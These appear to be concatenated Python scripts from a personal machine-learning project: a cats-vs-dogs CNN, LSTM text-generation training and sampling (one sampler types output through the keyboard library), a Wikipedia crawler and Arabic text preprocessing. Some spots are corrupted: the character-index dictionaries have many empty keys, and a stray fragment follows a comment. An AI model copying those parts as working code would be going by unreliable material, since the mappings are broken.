in testing_data: # result = predict(img) # if result == code: # correct += 1 # total += 1 # accuracy = (correct/total) * 100 # print(f"{correct}/{total} Total Accuracy: {accuracy:.2f}%") # print(x_test) # print("="*50) # print(y_test) print(model.evaluate([x_test], y_test)) print(model.metrics_names) import numpy as np import matplotlib.pyplot as plt import cv2 import os # import cv2 from tqdm import tqdm import random from settings import * # for the first time only # for category in CATEGORIES: # directory = os.path.join(TRAINING_DIR, category) # os.makedirs(directory) # # for the first time only # for category in CATEGORIES: # directory = os.path.join(TESTING_DIR, category) # os.makedirs(directory) # Total images for each category: 12501 image (total 25002) # def create_data(): # for code, category in enumerate(CATEGORIES): # path = os.path.join(DATADIR, category) # for counter, img in enumerate(tqdm(os.listdir(path)), start=1): # try: # # absolute path of image # image = os.path.join(path, img) # image = cv2.imread(image, cv2.IMREAD_GRAYSCALE) # image = cv2.resize(image, (IMG_SIZE, IMG_SIZE)) # if counter < 300: # # testing image # img = os.path.join(TESTING_DIR, category, img) # else: # # training image # img = os.path.join(TRAINING_DIR, category, img) # cv2.imwrite(img, image) # except: # pass def load_data(path): data = [] for code, category in enumerate(CATEGORIES): p = os.path.join(path, category) for img in tqdm(os.listdir(p), desc=f"Loading {category} data: "): img = os.path.join(p, img) img = cv2.imread(img, cv2.IMREAD_GRAYSCALE) data.append((img, code)) return data def load_training_data(): return load_data(TRAINING_DIR) def load_testing_data(): return load_data(TESTING_DIR) # # load data # training_data = load_training_data() # # # shuffle data # random.shuffle(training_data) # X, y = [], [] # for features, label in tqdm(training_data, desc="Splitting the data: "): # X.append(features) # y.append(label) # X = np.array(X).reshape(-1, IMG_SIZE, IMG_SIZE, 1) # # pickling (images,labels) # print("Pickling data...") import pickle # with open("X.pickle", 'wb') as pickle_out: # pickle.dump(X, pickle_out) # with open("y.pickle", 'wb') as pickle_out: # pickle.dump(y, pickle_out) def load(): return np.array(pickle.load(open("X.pickle", 'rb'))), pickle.load(open("y.pickle", 'rb')) print("Loading data...") X, y = load() X = X/255 # to make colors from 0 to 1 print("Shape of X:", X.shape) import tensorflow from tensorflow.keras.datasets import cifar10 from tensorflow.keras.preprocessing.image import ImageDataGenerator from tensorflow.keras.callbacks import ModelCheckpoint from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, Dropout, Activation, Flatten from tensorflow.keras.layers import Conv2D, MaxPooling2D # from tensorflow.keras.callbacks import TensorBoard print("Imported tensorflow, building model...") NAME = "Cats-vs-dogs-new-9-{val_acc:.2f}-CNN" checkpoint = ModelCheckpoint(filepath=f"{NAME}.model", save_best_only=True, verbose=1) # 3 conv, 64 nodes per layer, 0 dense model = Sequential() model.add(Conv2D(32, (2, 2), input_shape=X.shape[1:])) model.add(Activation('relu')) model.add(Conv2D(32, (2, 2))) model.add(Dropout(0.1)) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Conv2D(64, (2, 2))) model.add(Activation('relu')) model.add(Conv2D(64, (2, 2))) model.add(Dropout(0.1)) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Conv2D(96, (2, 2))) model.add(Activation('relu')) model.add(Conv2D(96, (2, 2))) model.add(Dropout(0.1)) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Conv2D(128, (2, 2))) model.add(Activation('relu')) model.add(Conv2D(128, (2, 2))) model.add(Dropout(0.1)) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Dense(500, activation="relu")) model.add(Flatten()) # this converts our 3D feature maps to 1D feature vectors model.add(Dense(1)) model.add(Activation('sigmoid')) model.summary() print("Compiling model ...") # tensorboard = TensorBoard(log_dir=f"logs/{NAME}") model.compile(loss="binary_crossentropy", optimizer="rmsprop", metrics=['accuracy']) print("Training...") model.fit(X, y, batch_size=64, epochs=30, validation_split=0.2, callbacks=[checkpoint]) ### Hyper Parameters ### batch_size = 256 # Sequences per batch num_steps = 70 # Number of sequence steps per batch lstm_size = 256 # Size of hidden layers in LSTMs num_layers = 2 # Number of LSTM layers learning_rate = 0.003 # Learning rate keep_prob = 0.3 # Dropout keep probability epochs = 20 # Print losses every N interations print_every_n = 100 # Save every N iterations save_every_n = 500 NUM_THREADS = 12 # to use CPU import os os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 os.environ["CUDA_VISIBLE_DEVICES"] = "-1" import tensorflow as tf config = tf.ConfigProto(intra_op_parallelism_threads=1, inter_op_parallelism_threads=1, allow_soft_placement=True, device_count = {'CPU' : 1, 'GPU' : 0} ) import train_chars import numpy as np import keyboard char2int_target = {'\t': 0, '\n': 1, '\x0c': 2, ' ': 3, '!': 4, '"': 5, '#': 6, '': 7, '%': 8, '&': 9, "'": 10, '(': 11, ')': 12, '*': 13, '+': 14, ',': 15, '-': 16, '.': 17, '/': 18, '0': 19, '1': 20, '2': 21, '3': 22, '4': 23, '5': 24, '6': 25, '7': 26, '8': 27, '9': 28, ':': 29, '': 30, '<': 31, '=': 32, '>': 33, '?': 34, '': 35, 'A': 36, 'B': 37, 'C': 38, 'D': 39, 'E': 40, 'F': 41, 'G': 42, 'H': 43, 'I': 44, 'J': 45, 'K': 46, 'L': 47, 'M': 48, 'N': 49, 'O': 50, 'P': 51, 'Q': 52, 'R': 53, 'S': 54, 'T': 55, 'U': 56, 'V': 57, 'W': 58, 'X': 59, 'Y': 60, 'Z': 61, '[': 62, '\\': 63, ']': 64, '^': 65, '_': 66, '': 67, 'a': 68, 'b': 69, 'c': 70, 'd': 71, 'e': 72, 'f': 73, 'g': 74, 'h': 75, 'i': 76, 'j': 77, 'k': 78, 'l': 79, 'm': 80, 'n': 81, 'o': 82, 'p': 83, 'q': 84, 'r': 85, 's': 86, 't': 87, 'u': 88, 'v': 89, 'w': 90, 'x': 91, 'y': 92, 'z': 93, '{': 94, '|': 95, '}': 96, '': 97, '': 98, '': 99, '': 100, '': 101, '': 102, '': 103, '': 104, '': 105, '\xad': 106, '': 107, '': 108, '': 109, '': 110, '': 111, '': 112, '': 113, '': 114, '': 115, '': 116, '': 117, '': 118, '': 119, '': 120, '': 121, '': 122, '': 123, '': 124, '': 125, '': 126, '': 127, '': 128, '': 129, '': 130, '': 131, '': 132, '': 133, '': 134, '': 135, '': 136, '': 137, '': 138, '': 139, '': 140, '': 141, '': 142, '': 143, '': 144, '': 145, '': 146, '': 147, '': 148, '': 149, '': 150, '': 151, '': 152, '': 153, '': 154, '': 155, '': 156, '': 157, '': 158, '': 159, '': 160, '': 161, '': 162, '': 163, '': 164, '': 165, '': 166, '': 167, '': 168, '': 169, '': 170, '': 171, '': 172, '': 173, '': 174, '': 175, '': 176, '': 177, '': 178, '': 179, '': 180, '': 181, '': 182, '': 183, '': 184, '': 185, '': 186, '': 187, '': 188, '': 189, '': 190, '': 191, '': 192} model = train_chars.CharRNN(len(char2int_target), lstm_size=train_chars.lstm_size, sampling=True) saver = train_chars.tf.train.Saver() def pick_top_n(preds, vocab_size, top_n=5): p = np.squeeze(preds) p[np.argsort(p)[:-top_n]] = 0 p = p / np.sum(p) c = np.random.choice(vocab_size, 1, p=p)[0] return c def write_sample(checkpoint, lstm_size, vocab_size, char2int, int2char, prime="import"): # samples = [c for c in prime] with train_chars.tf.Session() as sess: saver.restore(sess, checkpoint) new_state = sess.run(model.initial_state) for c in prime: x = np.zeros((1, 1)) x[0,0] = char2int[c] feed = {model.inputs: x, model.keep_prob: 1., model.initial_state: new_state} preds, new_state = sess.run([model.prediction, model.final_state], feed_dict=feed) # print("Preds:", preds) c = pick_top_n(preds, vocab_size) char = int2char[c] keyboard.write(char) time.sleep(0.01) # samples.append(char) while True: x[0,0] = c feed = {model.inputs: x, model.keep_prob: 1., model.initial_state: new_state} preds, new_state = sess.run([model.prediction, model.final_state], feed_dict=feed) c = pick_top_n(preds, vocab_size) char = int2char[c] keyboard.write(char) time.sleep(0.01) # samples.append(char) # return ''.join(samples)ss", "as" if __name__ == "__main__": # checkpoint = train_chars.tf.train_chars.latest_checkpoint("checkpoints") # print(checkpoint) checkpoint = "checkpoints/i6291_l256.ckpt" print() f = open("generates/python.txt", "a", encoding="utf8") int2char_target = { v:k for k, v in char2int_target.items() } import time time.sleep(2) write_sample(checkpoint, train_chars.lstm_size, len(char2int_target), char2int_target, int2char_target, prime="#"*100) # to use CPU import os os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 os.environ["CUDA_VISIBLE_DEVICES"] = "-1" import tensorflow as tf config = tf.ConfigProto(intra_op_parallelism_threads=5, inter_op_parallelism_threads=5, allow_soft_placement=True, device_count = {'CPU' : 1, 'GPU' : 0} ) import train_chars import numpy as np char2int_target = {'\t': 0, '\n': 1, '\x0c': 2, ' ': 3, '!': 4, '"': 5, '#': 6, '': 7, '%': 8, '&': 9, "'": 10, '(': 11, ')': 12, '*': 13, '+': 14, ',': 15, '-': 16, '.': 17, '/': 18, '0': 19, '1': 20, '2': 21, '3': 22, '4': 23, '5': 24, '6': 25, '7': 26, '8': 27, '9': 28, ':': 29, '': 30, '<': 31, '=': 32, '>': 33, '?': 34, '': 35, 'A': 36, 'B': 37, 'C': 38, 'D': 39, 'E': 40, 'F': 41, 'G': 42, 'H': 43, 'I': 44, 'J': 45, 'K': 46, 'L': 47, 'M': 48, 'N': 49, 'O': 50, 'P': 51, 'Q': 52, 'R': 53, 'S': 54, 'T': 55, 'U': 56, 'V': 57, 'W': 58, 'X': 59, 'Y': 60, 'Z': 61, '[': 62, '\\': 63, ']': 64, '^': 65, '_': 66, '': 67, 'a': 68, 'b': 69, 'c': 70, 'd': 71, 'e': 72, 'f': 73, 'g': 74, 'h': 75, 'i': 76, 'j': 77, 'k': 78, 'l': 79, 'm': 80, 'n': 81, 'o': 82, 'p': 83, 'q': 84, 'r': 85, 's': 86, 't': 87, 'u': 88, 'v': 89, 'w': 90, 'x': 91, 'y': 92, 'z': 93, '{': 94, '|': 95, '}': 96, '': 97, '': 98, '': 99, '': 100, '': 101, '': 102, '': 103, '': 104, '': 105, '\xad': 106, '': 107, '': 108, '': 109, '': 110, '': 111, '': 112, '': 113, '': 114, '': 115, '': 116, '': 117, '': 118, '': 119, '': 120, '': 121, '': 122, '': 123, '': 124, '': 125, '': 126, '': 127, '': 128, '': 129, '': 130, '': 131, '': 132, '': 133, '': 134, '': 135, '': 136, '': 137, '': 138, '': 139, '': 140, '': 141, '': 142, '': 143, '': 144, '': 145, '': 146, '': 147, '': 148, '': 149, '': 150, '': 151, '': 152, '': 153, '': 154, '': 155, '': 156, '': 157, '': 158, '': 159, '': 160, '': 161, '': 162, '': 163, '': 164, '': 165, '': 166, '': 167, '': 168, '': 169, '': 170, '': 171, '': 172, '': 173, '': 174, '': 175, '': 176, '': 177, '': 178, '': 179, '': 180, '': 181, '': 182, '': 183, '': 184, '': 185, '': 186, '': 187, '': 188, '': 189, '': 190, '': 191, '': 192} model = train_chars.CharRNN(len(char2int_target), lstm_size=train_chars.lstm_size, sampling=True) saver = train_chars.tf.train.Saver() def pick_top_n(preds, vocab_size, top_n=5): p = np.squeeze(preds) p[np.argsort(p)[:-top_n]] = 0 p = p / np.sum(p) c = np.random.choice(vocab_size, 1, p=p)[0] return c def sample(checkpoint, n_samples, lstm_size, vocab_size, char2int, int2char, prime="The"): samples = [c for c in prime] with train_chars.tf.Session() as sess: saver.restore(sess, checkpoint) new_state = sess.run(model.initial_state) for c in prime: x = np.zeros((1, 1)) x[0,0] = char2int[c] feed = {model.inputs: x, model.keep_prob: 1., model.initial_state: new_state} preds, new_state = sess.run([model.prediction, model.final_state], feed_dict=feed) # print("Preds:", preds) c = pick_top_n(preds, vocab_size) samples.append(int2char[c]) for i in range(n_samples): x[0,0] = c feed = {model.inputs: x, model.keep_prob: 1., model.initial_state: new_state} preds, new_state = sess.run([model.prediction, model.final_state], feed_dict=feed) c = pick_top_n(preds, vocab_size) char = int2char[c] samples.append(char) # if i == n_samples - 1 and char != " " and char != ".": # if i == n_samples - 1 and char != " ": # # while char != "." and char != " ": # while char != " ": # x[0,0] = c # feed = {model.inputs: x, # model.keep_prob: 1., # model.initial_state: new_state} # preds, new_state = sess.run([model.prediction, model.final_state], # feed_dict=feed) # c = pick_top_n(preds, vocab_size) # char = int2char[c] # samples.append(char) return ''.join(samples) if __name__ == "__main__": # checkpoint = train_chars.tf.train_chars.latest_checkpoint("checkpoints") # print(checkpoint) checkpoint = "checkpoints/i6291_l256.ckpt" print() f = open("generates/python.txt", "a", encoding="utf8") int2char_target = { v:k for k, v in char2int_target.items() } for prime in ["#"*100]: samp = sample(checkpoint, 5000, train_chars.lstm_size, len(char2int_target), char2int_target, int2char_target, prime=prime) print(samp, file=f) print(samp) print("="*50) print("="*50, file=f) import numpy as np import train_words def pick_top_n(preds, vocab_size, top_n=5): p = np.squeeze(preds) p[np.argsort(p)[:-top_n]] = 0 p = p / np.sum(p) c = np.random.choice(vocab_size, 1, p=p)[0] return c def sample(checkpoint, n_samples, lstm_size, vocab_size, prime=["The"]): samples = [c for c in prime] model = train_words.CharRNN(len(train_words.vocab), lstm_size=lstm_size, sampling=True) saver = train_words.tf.train.Saver() with train_words.tf.Session() as sess: saver.restore(sess, checkpoint) new_state = sess.run(model.initial_state) for c in prime: x = np.zeros((1, 1)) x[0,0] = train_words.vocab_to_int[c] feed = {model.inputs: x, model.keep_prob: 1., model.initial_state: new_state} preds, new_state = sess.run([model.prediction, model.final_state], feed_dict=feed) c = pick_top_n(preds, len(train_words.vocab)) samples.append(train_words.int_to_vocab[c]) for i in range(n_samples): x[0,0] = c feed = {model.inputs: x, model.keep_prob: 1., model.initial_state: new_state} preds, new_state = sess.run([model.prediction, model.final_state], feed_dict=feed) c = pick_top_n(preds, len(train_words.vocab)) char = train_words.int_to_vocab[c] samples.append(char) return ' '.join(samples) if __name__ == "__main__": # checkpoint = train_words.tf.train_words.latest_checkpoint("checkpoints") # print(checkpoint) checkpoint = f"{train_words.CHECKPOINT}/i8000_l128.ckpt" samp = sample(checkpoint, 400, train_words.lstm_size, len(train_words.vocab), prime=["the", "very"]) print(samp) import tensorflow as tf import numpy as np def get_batches(arr, batch_size, n_steps): '''Create a generator that returns batches of size batch_size x n_steps from arr. Arguments --------- arr: Array you want to make batches from batch_size: Batch size, the number of sequences per batch n_steps: Number of sequence steps per batch ''' chars_per_batch = batch_size * n_steps n_batches = len(arr) // chars_per_batch arr = arr[:chars_per_batch * n_batches] arr = arr.reshape((batch_size, -1)) for n in range(0, arr.shape[1], n_steps): x = arr[:, n: n+n_steps] y_temp = arr[:, n+1:n+n_steps+1] y = np.zeros(x.shape, dtype=y_temp.dtype) y[:, :y_temp.shape[1]] = y_temp yield x, y # batches = get_batches(encoded, 10, 50) # x, y = next(batches) def build_inputs(batch_size, num_steps): ''' Define placeholders for inputs, targets, and dropout Arguments --------- batch_size: Batch size, number of sequences per batch num_steps: Number of sequence steps in a batch ''' # Declare placeholders we'll feed into the graph inputs = tf.placeholder(tf.int32, shape=(batch_size, num_steps), name="inputs") targets = tf.placeholder(tf.int32, shape=(batch_size, num_steps), name="targets") # Keep probability placeholder for drop out layers keep_prob = tf.placeholder(tf.float32, name="keep_prob") return inputs, targets, keep_prob def build_lstm(lstm_size, num_layers, batch_size, keep_prob): ''' Build LSTM cell. Arguments --------- lstm_size: Size of the hidden layers in the LSTM cells num_layers: Number of LSTM layers batch_size: Batch size keep_prob: Scalar tensor (tf.placeholder) for the dropout keep probability ''' ### Build the LSTM Cell def build_cell(): # Use a basic LSTM cell lstm = tf.contrib.rnn.BasicLSTMCell(lstm_size) # Add dropout to the cell outputs drop_lstm = tf.contrib.rnn.DropoutWrapper(lstm, output_keep_prob=keep_prob) return drop_lstm # Stack up multiple LSTM layers, for deep learning # build num_layers layers of lstm_size LSTM Cells cell = tf.contrib.rnn.MultiRNNCell([build_cell() for _ in range(num_layers)]) initial_state = cell.zero_state(batch_size, tf.float32) return cell, initial_state def build_output(lstm_output, in_size, out_size): ''' Build a softmax layer, return the softmax output and logits. Arguments --------- lstm_output: List of output tensors from the LSTM layer in_size: Size of the input tensor, for example, size of the LSTM cells out_size: Size of this softmax layer ''' # Reshape output so it's a bunch of rows, one row for each step for each sequence. # Concatenate lstm_output over axis 1 (the columns) seq_output = tf.concat(lstm_output, axis=1) # Reshape seq_output to a 2D tensor with lstm_size columns x = tf.reshape(seq_output, (-1, in_size)) # Connect the RNN outputs to a softmax layer with tf.variable_scope('softmax'): # Create the weight and bias variables here softmax_w = tf.Variable(tf.truncated_normal((in_size, out_size), stddev=0.1)) softmax_b = tf.Variable(tf.zeros(out_size)) # Since output is a bunch of rows of RNN cell outputs, logits will be a bunch # of rows of logit outputs, one for each step and sequence logits = tf.matmul(x, softmax_w) + softmax_b # Use softmax to get the probabilities for predicted characters out = tf.nn.softmax(logits, name="predictions") return out, logits def build_loss(logits, targets, num_classes): ''' Calculate the loss from the logits and the targets. Arguments --------- logits: Logits from final fully connected layer targets: Targets for supervised learning num_classes: Number of classes in targets ''' # One-hot encode targets and reshape to match logits, one row per sequence per step y_one_hot = tf.one_hot(targets, num_classes) y_reshaped = tf.reshape(y_one_hot, logits.get_shape()) # Softmax cross entropy loss loss = tf.nn.softmax_cross_entropy_with_logits(logits=logits, labels=y_reshaped) loss = tf.reduce_mean(loss) return loss def build_optimizer(loss, learning_rate, grad_clip): ''' Build optmizer for training, using gradient clipping. Arguments: loss: Network loss learning_rate: Learning rate for optimizer grad_clip: threshold for preventing gradient exploding ''' # Optimizer for training, using gradient clipping to control exploding gradients tvars = tf.trainable_variables() grads, _ = tf.clip_by_global_norm(tf.gradients(loss, tvars), grad_clip) train_op = tf.train.AdamOptimizer(learning_rate) optimizer = train_op.apply_gradients(zip(grads, tvars)) return optimizer class CharRNN: def __init__(self, num_classes, batch_size=64, num_steps=50, lstm_size=128, num_layers=2, learning_rate=0.001, grad_clip=5, sampling=False): # When we're using this network for sampling later, we'll be passing in # one character at a time, so providing an option for that if sampling: batch_size, num_steps = 1, 1 else: batch_size, num_steps = batch_size, num_steps tf.reset_default_graph() # Build the input placeholder tensors self.inputs, self.targets, self.keep_prob = build_inputs(batch_size, num_steps) # Build the LSTM cell # (lstm_size, num_layers, batch_size, keep_prob) cell, self.initial_state = build_lstm(lstm_size, num_layers, batch_size, self.keep_prob) ### Run the data through the RNN layers # First, one-hot encode the input tokens x_one_hot = tf.one_hot(self.inputs, num_classes) # Run each sequence step through the RNN with tf.nn.dynamic_rnn outputs, state = tf.nn.dynamic_rnn(cell, x_one_hot, initial_state=self.initial_state) self.final_state = state # Get softmax predictions and logits # (lstm_output, in_size, out_size) # There are lstm_size nodes in hidden layers, and the number # of the total characters as num_classes (i.e output layer) self.prediction, self.logits = build_output(outputs, lstm_size, num_classes) # Loss and optimizer (with gradient clipping) # (logits, targets, lstm_size, num_classes) self.loss = build_loss(self.logits, self.targets, num_classes) # (loss, learning_rate, grad_clip) self.optimizer = build_optimizer(self.loss, learning_rate, grad_clip) from time import perf_counter from collections import namedtuple from parameters import * from train import * from utils import get_time, get_text import tqdm import numpy as np import os import string import tensorflow as tf if __name__ == "__main__": CHECKPOINT = "checkpoints" if not os.path.isdir(CHECKPOINT): os.mkdir(CHECKPOINT) vocab, int2char, char2int, text = get_text(char_level=True, files=["E:\\datasets\\python_code_small.py", "E:\\datasets\\my_python_code.py"], load=False, lower=False, save_index=4) print(char2int) encoded = np.array([char2int[c] for c in text]) print("[*] Total characters :", len(text)) print("[*] Number of classes :", len(vocab)) model = CharRNN(num_classes=len(vocab), batch_size=batch_size, num_steps=num_steps, lstm_size=lstm_size, num_layers=num_layers, learning_rate=learning_rate) saver = tf.train.Saver(max_to_keep=100) with tf.Session(config=tf.ConfigProto(intra_op_parallelism_threads=NUM_THREADS)) as sess: sess.run(tf.global_variables_initializer()) # Use the line below to load a checkpoint and resume training saver.restore(sess, f'{CHECKPOINT}/e13_l256.ckpt') total_steps = len(encoded) // batch_size // num_steps for e in range(14, epochs): # Train network cs = 0 new_state = sess.run(model.initial_state) min_loss = np.inf batches = tqdm.tqdm(get_batches(encoded, batch_size, num_steps), f"Epoch= {e+1}/{epochs} - {cs}/{total_steps}", total=total_steps) for x, y in batches: cs += 1 start = perf_counter() feed = {model.inputs: x, model.targets: y, model.keep_prob: keep_prob, model.initial_state: new_state} batch_loss, new_state, _ = sess.run([model.loss, model.final_state, model.optimizer], feed_dict=feed) batches.set_description(f"Epoch: {e+1}/{epochs} - {cs}/{total_steps} loss:{batch_loss:.2f}") saver.save(sess, f"{CHECKPOINT}/e{e}_l{lstm_size}.ckpt") print("Loss:", batch_loss) saver.save(sess, f"{CHECKPOINT}/i{cs}_l{lstm_size}.ckpt") from time import perf_counter from collections import namedtuple from colorama import Fore, init # local from parameters import * from train import * from utils import get_time, get_text init() GREEN = Fore.GREEN RESET = Fore.RESET import numpy as np import os import tensorflow as tf import string CHECKPOINT = "checkpoints_words" files = ["carroll-alice.txt", "text.txt", "text8.txt"] if not os.path.isdir(CHECKPOINT): os.mkdir(CHECKPOINT) vocab, int2word, word2int, text = get_text("data", files=files) encoded = np.array([word2int[w] for w in text]) del text if __name__ == "__main__": def calculate_time(): global time_took global start global total_time_took global times_took global avg_time_took global time_estimated global total_steps time_took = perf_counter() - start total_time_took += time_took times_took.append(time_took) avg_time_took = sum(times_took) / len(times_took) time_estimated = total_steps * avg_time_took - total_time_took model = CharRNN(num_classes=len(vocab), batch_size=batch_size, num_steps=num_steps, lstm_size=lstm_size, num_layers=num_layers, learning_rate=learning_rate) saver = tf.train.Saver(max_to_keep=100) with tf.Session(config=tf.ConfigProto(intra_op_parallelism_threads=NUM_THREADS)) as sess: sess.run(tf.global_variables_initializer()) # Use the line below to load a checkpoint and resume training # saver.restore(sess, f'{CHECKPOINT}/i3524_l128_loss=1.36.ckpt') # calculate total steps total_steps = epochs * len(encoded) / (batch_size * num_steps) time_estimated = "N/A" times_took = [] total_time_took = 0 current_steps = 0 progress_percentage = 0 for e in range(epochs): # Train network new_state = sess.run(model.initial_state) min_loss = np.inf for x, y in get_batches(encoded, batch_size, num_steps): current_steps += 1 start = perf_counter() feed = {model.inputs: x, model.targets: y, model.keep_prob: keep_prob, model.initial_state: new_state} batch_loss, new_state, _ = sess.run([model.loss, model.final_state, model.optimizer], feed_dict=feed) progress_percentage = current_steps * 100 / total_steps if batch_loss < min_loss: # saver.save(sess, f"{CHECKPOINT}/i{current_steps}_l{lstm_size}_loss={batch_loss:.2f}.ckpt") min_loss = batch_loss calculate_time() print(f'{GREEN}[{progress_percentage:.2f}%] Epoch: {e+1:3}/{epochs} Training loss: {batch_loss:2.4f} - {time_took:2.4f} s/batch - ETA: {get_time(time_estimated)}{RESET}') continue if (current_steps % print_every_n == 0): calculate_time() print(f'[{progress_percentage:.2f}%] Epoch: {e+1:3}/{epochs} Training loss: {batch_loss:2.4f} - {time_took:2.4f} s/batch - ETA: {get_time(time_estimated)}', end='\r') if (current_steps % save_every_n == 0): saver.save(sess, f"{CHECKPOINT}/i{current_steps}_l{lstm_size}.ckpt") saver.save(sess, f"{CHECKPOINT}/i{current_steps}_l{lstm_size}.ckpt") import tqdm import os import inflect import glob import pickle import sys from string import punctuation, whitespace p = inflect.engine() UNK = "<unk>" char2int_target = {'\t': 0, '\n': 1, '\x0c': 2, ' ': 3, '!': 4, '"': 5, '#': 6, '': 7, '%': 8, '&': 9, "'": 10, '(': 11, ')': 12, '*': 13, '+': 14, ',': 15, '-': 16, '.': 17, '/': 18, '0': 19, '1': 20, '2': 21, '3': 22, '4': 23, '5': 24, '6': 25, '7': 26, '8': 27, '9': 28, ':': 29, '': 30, '<': 31, '=': 32, '>': 33, '?': 34, '': 35, 'A': 36, 'B': 37, 'C': 38, 'D': 39, 'E': 40, 'F': 41, 'G': 42, 'H': 43, 'I': 44, 'J': 45, 'K': 46, 'L': 47, 'M': 48, 'N': 49, 'O': 50, 'P': 51, 'Q': 52, 'R': 53, 'S': 54, 'T': 55, 'U': 56, 'V': 57, 'W': 58, 'X': 59, 'Y': 60, 'Z': 61, '[': 62, '\\': 63, ']': 64, '^': 65, '_': 66, '': 67, 'a': 68, 'b': 69, 'c': 70, 'd': 71, 'e': 72, 'f': 73, 'g': 74, 'h': 75, 'i': 76, 'j': 77, 'k': 78, 'l': 79, 'm': 80, 'n': 81, 'o': 82, 'p': 83, 'q': 84, 'r': 85, 's': 86, 't': 87, 'u': 88, 'v': 89, 'w': 90, 'x': 91, 'y': 92, 'z': 93, '{': 94, '|': 95, '}': 96, '': 97, '': 98, '': 99, '': 100, '': 101, '': 102, '': 103, '': 104, '': 105, '\xad': 106, '': 107, '': 108, '': 109, '': 110, '': 111, '': 112, '': 113, '': 114, '': 115, '': 116, '': 117, '': 118, '': 119, '': 120, '': 121, '': 122, '': 123, '': 124, '': 125, '': 126, '': 127, '': 128, '': 129, '': 130, '': 131, '': 132, '': 133, '': 134, '': 135, '': 136, '': 137, '': 138, '': 139, '': 140, '': 141, '': 142, '': 143, '': 144, '': 145, '': 146, '': 147, '': 148, '': 149, '': 150, '': 151, '': 152, '': 153, '': 154, '': 155, '': 156, '': 157, '': 158, '': 159, '': 160, '': 161, '': 162, '': 163, '': 164, '': 165, '': 166, '': 167, '': 168, '': 169, '': 170, '': 171, '': 172, '': 173, '': 174, '': 175, '': 176, '': 177, '': 178, '': 179, '': 180, '': 181, '': 182, '': 183, '': 184, '': 185, '': 186, '': 187, '': 188, '': 189, '': 190, '': 191, '': 192} def get_time(seconds, form="{hours:02}:{minutes:02}:{seconds:02}"): try: seconds = int(seconds) except: return seconds minutes, seconds = divmod(seconds, 60) hours, minutes = divmod(minutes, 60) days, hours = divmod(hours, 24) months, days = divmod(days, 30) years, months = divmod(months, 12) if days: form = "{days}d " + form if months: form = "{months}m " + form elif years: form = "{years}y " + form return form.format(**locals()) def get_text(path="data", files=["carroll-alice.txt", "text.txt", "text8.txt"], load=True, char_level=False, lower=True, save=True, save_index=1): if load: # check if any pre-cleaned saved data exists first pickle_files = glob.glob(os.path.join(path, "text_data*.pickle")) if len(pickle_files) == 1: return pickle.load(open(pickle_files[0], "rb")) elif len(pickle_files) > 1: sizes = [ get_size(os.path.getsize(p)) for p in pickle_files ] s = "" for i, (file, size) in enumerate(zip(pickle_files, sizes), start=1): s += str(i) + " - " + os.path.basename(file) + f" ({size}) \n" choice = int(input(f"""Multiple data corpus found: {s} 99 - use and clean .txt files Please choose one: """)) if choice != 99: chosen_file = pickle_files[choice-1] print("[*] Loading pickled data...") return pickle.load(open(chosen_file, "rb")) text = "" for file in tqdm.tqdm(files, "Loading data"): file = os.path.join(path, file) with open(file) as f: if lower: text += f.read().lower() else: text += f.read() print(len(text)) punc = set(punctuation) # text = ''.join([ c for c in tqdm.tqdm(text, "Cleaning text") if c not in punc ]) text = ''.join([ c for c in tqdm.tqdm(text, "Cleaning text") if c in char2int_target ]) # for ws in whitespace: # text = text.replace(ws, " ") if char_level: text = list(text) else: text = text.split() # new_text = [] new_text = text # append = new_text.append # co = 0 # if char_level: # k = 0 # for i in tqdm.tqdm(range(len(text)), "Normalizing words"): # if not text[i].isdigit(): # append(text[i]) # k = 0 # else: # # if this digit is mapped to a word already using # # the below method, then just continue # if k >= 1: # k -= 1 # continue # # if there are more digits following this character # # k = 0 # digits = "" # while text[i+k].isdigit(): # digits += text[i+k] # k += 1 # w = p.number_to_words(digits).replace("-", " ").replace(",", "") # for c in w: # append(c) # co += 1 # else: # for i in tqdm.tqdm(range(len(text)), "Normalizing words"): # # convert digits to words # # (i.e '7' to 'seven') # if text[i].isdigit(): # text[i] = p.number_to_words(text[i]).replace("-", " ") # append(text[i]) # co += 1 # else: # append(text[i]) vocab = sorted(set(new_text)) print(f"alices in vocab:", "alices" in vocab) # print(f"Converted {co} digits to words.") print(f"Total vocabulary size:", len(vocab)) int2word = { i:w for i, w in enumerate(vocab) } word2int = { w:i for i, w in enumerate(vocab) } if save: pickle_filename = os.path.join(path, f"text_data_{save_index}.pickle") print("Pickling data for future use to", pickle_filename) pickle.dump((vocab, int2word, word2int, new_text), open(pickle_filename, "wb")) return vocab, int2word, word2int, new_text def get_size(size, suffix="B"): factor = 1024 for unit in ['', 'K', 'M', 'G', 'T', 'P']: if size < factor: return "{:.2f}{}{}".format(size, unit, suffix) size /= factor return "{:.2f}{}{}".format(size, "E", suffix) import wikipedia from threading import Thread def gather(page_name): print(f"Crawling {page_name}") page = wikipedia.page(page_name) filename = page_name.replace(" ", "_") print(page.content, file=open(f"data/{filename}.txt", 'w', encoding="utf-8")) print(f"Done crawling {page_name}") for i in range(5): Thread(target=gather, args=(page.links[i],)).start() if __name__ == "__main__": pages = ["Relativity"] for page in pages: gather(page) # from keras.preprocessing.text import Tokenizer from utils import chunk_seq from collections import Counter from nltk.corpus import stopwords from keras.preprocessing.sequence import pad_sequences import numpy as np import gensim sequence_length = 200 embedding_dim = 200 # window_size = 7 # vector_dim = 300 # epochs = 1000 # valid_size = 16 # Random set of words to evaluate similarity on. # valid_window = 100 # Only pick dev samples in the head of the distribution. # valid_examples = np.random.choice(valid_window, valid_size, replace=False) with open("data/quran_cleaned.txt", encoding="utf8") as f: text = f.read() # print(text[:500]) ayat = text.split(".") words = [] for ayah in ayat: words.append(ayah.split()) # print(words[:5]) # stop words stop_words = stopwords.words("arabic") # most common come at the top # vocab = [ w[0] for w in Counter(words).most_common() if w[0] not in stop_words] # words = [ word for word in words if word not in stop_words] new_words = [] for ayah in words: new_words.append([ w for w in ayah if w not in stop_words]) # print(len(vocab)) # n = len(words) / sequence_length # # split text to n sequences # print(words[:10]) # words = chunk_seq(words, len(ayat)) vocab = [] for ayah in new_words: for w in ayah: vocab.append(w) vocab = sorted(set(vocab)) 